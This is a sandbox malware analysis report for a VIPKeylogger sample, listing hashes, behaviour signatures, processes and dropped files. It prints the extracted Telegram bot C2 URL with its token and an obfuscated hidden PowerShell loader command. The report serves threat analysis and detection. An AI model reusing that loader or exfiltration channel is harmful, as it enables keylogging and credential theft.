Analysis

  • max time kernel
    143s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17-12-2024 12:06

General

  • Target

    pegless.exe

  • Size

    1.1MB

  • MD5

    487fad16da392c87fb894a6ccbd95870

  • SHA1

    16f4935ce6d245d535f23a1557b6f0e0ad77baa9

  • SHA256

    2bbb66a5bad18e8ca2fee4fec0bfc6ce83b1cc4852d712c986685f095b3589ce

  • SHA512

    bbb60d3e7a24964e100ea583bd701dbf1b1ebffb44fd03de5f6c096b87de8ded04e7ece05dd28995eb2bcdf1e3cdb1fcaa11078277cba3b41af1a5c4b8e04b59

  • SSDEEP

    24576:zNrNYogUzS7ZTdlfjS03VwV5k7j5awX300zQUGtZc:Z+JI2Jj3VwXgj5aEkHUGtZc

Malware Config

Extracted

Family

vipkeylogger

C2

https://api.telegram.org/bot7745751910:AAGY46QDCTWO_Pw9iDqZhkNij-i4uwbMgzE/sendMessage?chat_id=7695061973

Signatures

  • VIPKeylogger

    VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.

  • Vipkeylogger family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Loads dropped DLL 1 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Blocklisted process makes network request 8 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Drops file in Program Files directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 23 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\pegless.exe
    "C:\Users\Admin\AppData\Local\Temp\pegless.exe"
    1⤵
    • Loads dropped DLL
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4808
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden "$Subleasing20=gc -raw 'C:\Users\Admin\AppData\Local\Temp\globosely\baadehavn\stnner\Afsyringer.Una';$Damselflies181=$Subleasing20.SubString(62296,3);.$Damselflies181($Subleasing20) "
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2068
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\Windows\SysWOW64\msiexec.exe"
        3⤵
        • Accesses Microsoft Outlook profiles
        • Blocklisted process makes network request
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • outlook_office_path
        • outlook_win_path
        PID:2836

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cypzfu5i.lbd.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\globosely\baadehavn\stnner\Afsyringer.Una

    Filesize

    74KB

    MD5

    58b2d4d8dcb1f7505b049780ab782495

    SHA1

    7781b3dc2da3205c27020121a5083c1a5363751b

    SHA256

    fca8d4a203b4456bd2dcc7d9d8901762199381cd6436d6dafed510a94d173201

    SHA512

    52195930e588f773cbbab36b758b66c161a9a09be9ec20e96d390a64a30ff92c3b2c51675efbd921379c9b06b6b3e250040aa3f9facae7f01daff3ab7ab71d11

  • C:\Users\Admin\AppData\Local\Temp\globosely\baadehavn\stnner\Countermeasure.Afs

    Filesize

    326KB

    MD5

    906fddea67f3fcaf133c8a5fa43bc4e7

    SHA1

    1cb2e0442d83a8b638bf2812662c1d2a0399521f

    SHA256

    5e4c3e81328f09a96778f6b07cfde424e0a7b553b59b2c815c2a725cbd73c4c4

    SHA512

    23ba6c3286149578367ffb1af0f3d51046f7afb972d5507c99dd47d7859664df624bfa17bc5fb0317084643fd325da1dfcd996a2465ae34a1a1840599dd06c78

  • C:\Users\Admin\AppData\Local\Temp\nsr8B68.tmp\nsExec.dll

    Filesize

    7KB

    MD5

    675c4948e1efc929edcabfe67148eddd

    SHA1

    f5bdd2c4329ed2732ecfe3423c3cc482606eb28e

    SHA256

    1076ca39c449ed1a968021b76ef31f22a5692dfafeea29460e8d970a63c59906

    SHA512

    61737021f86f54279d0a4e35db0d0808e9a55d89784a31d597f2e4b65b7bbeec99aa6c79d65258259130eeda2e5b2820f4f1247777a3010f2dc53e30c612a683

  • memory/2068-12-0x0000000073D7E000-0x0000000073D7F000-memory.dmp

    Filesize

    4KB

  • memory/2068-13-0x00000000028C0000-0x00000000028F6000-memory.dmp

    Filesize

    216KB

  • memory/2068-14-0x0000000073D70000-0x0000000074520000-memory.dmp

    Filesize

    7.7MB

  • memory/2068-15-0x0000000005510000-0x0000000005B38000-memory.dmp

    Filesize

    6.2MB

  • memory/2068-16-0x0000000073D70000-0x0000000074520000-memory.dmp

    Filesize

    7.7MB

  • memory/2068-17-0x0000000005320000-0x0000000005342000-memory.dmp

    Filesize

    136KB

  • memory/2068-21-0x0000000005BB0000-0x0000000005C16000-memory.dmp

    Filesize

    408KB

  • memory/2068-20-0x0000000005B40000-0x0000000005BA6000-memory.dmp

    Filesize

    408KB

  • memory/2068-31-0x0000000005C20000-0x0000000005F74000-memory.dmp

    Filesize

    3.3MB

  • memory/2068-32-0x00000000061E0000-0x00000000061FE000-memory.dmp

    Filesize

    120KB

  • memory/2068-33-0x0000000006220000-0x000000000626C000-memory.dmp

    Filesize

    304KB

  • memory/2068-34-0x00000000071A0000-0x0000000007236000-memory.dmp

    Filesize

    600KB

  • memory/2068-35-0x0000000006700000-0x000000000671A000-memory.dmp

    Filesize

    104KB

  • memory/2068-36-0x0000000006760000-0x0000000006782000-memory.dmp

    Filesize

    136KB

  • memory/2068-37-0x0000000007A40000-0x0000000007FE4000-memory.dmp

    Filesize

    5.6MB

  • memory/2068-39-0x0000000008670000-0x0000000008CEA000-memory.dmp

    Filesize

    6.5MB

  • memory/2068-42-0x0000000073D70000-0x0000000074520000-memory.dmp

    Filesize

    7.7MB

  • memory/2068-41-0x0000000075680000-0x00000000756CC000-memory.dmp

    Filesize

    304KB

  • memory/2068-40-0x00000000075F0000-0x0000000007622000-memory.dmp

    Filesize

    200KB

  • memory/2068-53-0x0000000073D70000-0x0000000074520000-memory.dmp

    Filesize

    7.7MB

  • memory/2068-54-0x0000000073D70000-0x0000000074520000-memory.dmp

    Filesize

    7.7MB

  • memory/2068-52-0x0000000007630000-0x000000000764E000-memory.dmp

    Filesize

    120KB

  • memory/2068-55-0x0000000007660000-0x0000000007703000-memory.dmp

    Filesize

    652KB

  • memory/2068-56-0x0000000007760000-0x000000000776A000-memory.dmp

    Filesize

    40KB

  • memory/2068-57-0x00000000078C0000-0x00000000078D1000-memory.dmp

    Filesize

    68KB

  • memory/2068-58-0x0000000007910000-0x000000000791E000-memory.dmp

    Filesize

    56KB

  • memory/2068-59-0x0000000007920000-0x0000000007934000-memory.dmp

    Filesize

    80KB

  • memory/2068-60-0x0000000007960000-0x000000000797A000-memory.dmp

    Filesize

    104KB

  • memory/2068-61-0x0000000007950000-0x0000000007958000-memory.dmp

    Filesize

    32KB

  • memory/2068-62-0x00000000079B0000-0x00000000079DA000-memory.dmp

    Filesize

    168KB

  • memory/2068-63-0x00000000079E0000-0x0000000007A04000-memory.dmp

    Filesize

    144KB

  • memory/2068-64-0x0000000073D70000-0x0000000074520000-memory.dmp

    Filesize

    7.7MB

  • memory/2068-65-0x0000000073D7E000-0x0000000073D7F000-memory.dmp

    Filesize

    4KB

  • memory/2068-66-0x0000000073D70000-0x0000000074520000-memory.dmp

    Filesize

    7.7MB

  • memory/2068-67-0x0000000073D70000-0x0000000074520000-memory.dmp

    Filesize

    7.7MB

  • memory/2068-70-0x0000000073D70000-0x0000000074520000-memory.dmp

    Filesize

    7.7MB

  • memory/2068-69-0x0000000073D70000-0x0000000074520000-memory.dmp

    Filesize

    7.7MB

  • memory/2068-71-0x0000000008CF0000-0x000000000A81F000-memory.dmp

    Filesize

    27.2MB

  • memory/2068-72-0x0000000073D70000-0x0000000074520000-memory.dmp

    Filesize

    7.7MB

  • memory/2068-73-0x0000000073D70000-0x0000000074520000-memory.dmp

    Filesize

    7.7MB

  • memory/2068-74-0x0000000073D70000-0x0000000074520000-memory.dmp

    Filesize

    7.7MB

  • memory/2068-75-0x0000000073D70000-0x0000000074520000-memory.dmp

    Filesize

    7.7MB

  • memory/2068-76-0x0000000073D70000-0x0000000074520000-memory.dmp

    Filesize

    7.7MB

  • memory/2068-77-0x0000000073D70000-0x0000000074520000-memory.dmp

    Filesize

    7.7MB

  • memory/2836-91-0x0000000000D90000-0x0000000000DDA000-memory.dmp

    Filesize

    296KB

  • memory/2836-90-0x0000000000D90000-0x0000000001FE4000-memory.dmp

    Filesize

    18.3MB

  • memory/2836-92-0x00000000219B0000-0x0000000021A4C000-memory.dmp

    Filesize

    624KB

  • memory/2836-94-0x00000000226E0000-0x00000000228A2000-memory.dmp

    Filesize

    1.8MB

  • memory/2836-95-0x0000000021E60000-0x0000000021EB0000-memory.dmp

    Filesize

    320KB

  • memory/2836-96-0x0000000022DE0000-0x000000002330C000-memory.dmp

    Filesize

    5.2MB

  • memory/2836-99-0x00000000225B0000-0x0000000022642000-memory.dmp

    Filesize

    584KB

  • memory/2836-100-0x000000001F4A0000-0x000000001F4AA000-memory.dmp

    Filesize

    40KB